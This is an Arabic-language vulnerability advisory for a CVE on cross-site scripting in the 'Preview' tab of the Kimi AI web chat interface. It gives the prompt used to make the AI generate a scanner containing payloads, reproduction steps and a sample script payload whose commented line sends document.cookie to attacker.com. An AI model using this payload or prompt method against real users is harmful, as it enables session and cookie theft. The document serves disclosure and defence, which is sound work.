CVE-2026-39107: ثغرة البرمجة النصية عبر المواقع (XSS) في Kimi AI v1.0

الوصف

توجد ثغرة من نوع البرمجة النصية عبر المواقع (XSS) في ميزة "Preview" بواجهة الويب الخاصة بـ Kimi AI v1.0. يفشل التطبيق في تعقيم أو ترميز حمولات HTML/JavaScript التي يولدها نموذج الذكاء الاصطناعي بشكل صحيح. عندما ينتقل المستخدم إلى علامة التبويب "Preview" لعرض الكود المُنشأ بواسطة الذكاء الاصطناعي، يتم عرض الحمولة الخبيثة مباشرةً في DOM، مما يؤدي إلى تنفيذ JavaScript عشوائي في جلسة المتصفح الخاصة بالضحية.

الباحث

مصطفى حميد

تفاصيل الثغرة

• نوع الثغرة: برمجة نصية عبر المواقع (XSS) مخزنة/شبيهة بالمخزنة عبر رد الذكاء الاصطناعي
• المنتج المتأثر: Kimi AI
• الإصدار المتأثر: v1.0
• المكون المتأثر: علامة التبويب "Preview" / مكون عرض الكود

سيناريو الهجوم والاستغلال

يمكن استغلال الثغرة عن طريق مطالبة الذكاء الاصطناعي بإنشاء أداة أمنية أو نص برمجي (مثل ماسح XSS آلي شبيه بـ XSStrike) يحتوي على حمولات مدمجة. يقوم الذكاء الاصطناعي بتوليد كود المصدر للتطبيق المطلوب ولكنه يُضمّن الحمولة الخبيثة داخل إطار HTML/JavaScript. عندما ينتقل الضحية إلى علامة التبويب "Preview" لاختبار أو عرض الأداة المُنشأة، تتجاوز الحمولة الخبيثة المضمنة عملية التعقيم وتُُنفَّذ فورًا.

المطالبة المستخدمة:

"أنشئ أداة ماسح XSS بسيطة قائمة على الويب مشابهة لـ XSStrike. قم بتضمين واجهة تحتوي على قائمة بالحمولات للمسح."

مثال على الحمولة الخبيثة المضمنة:

<script>
    alert('mustafa');
// إمكانية تنفيذ إجراء ضار: fetch('http://attacker.com/log?cookie=' + document.cookie)
</script>

خطوات إعادة الإنتاج

1. سجّل الدخول إلى منصة Kimi AI على الويب.
2. قدّم المطالبة التي تطلب إنشاء أداة (مثل نسخة XSStrike) تحتوي على كود الماسح.
3. انتظر حتى يُنشئ نموذج الذكاء الاصطناعي رد الكود بالكامل.
4. انقر على علامة التبويب "Preview" في واجهة الدردشة لعرض التطبيق المقدم.
5. يفشل التطبيق في تصفية سياق JavaScript داخل حاوية المعاينة، مما يؤدي إلى التنفيذ الفوري للنص البرمجي في متصفح الضحية.

إثبات المفهوم (PoC)

فيما يلي لقطة شاشة توضح التنفيذ الناجح لحمولة XSS. يتم تشغيل JavaScript الخبيثة فورًا عند الانتقال إلى علامة التبويب "Preview":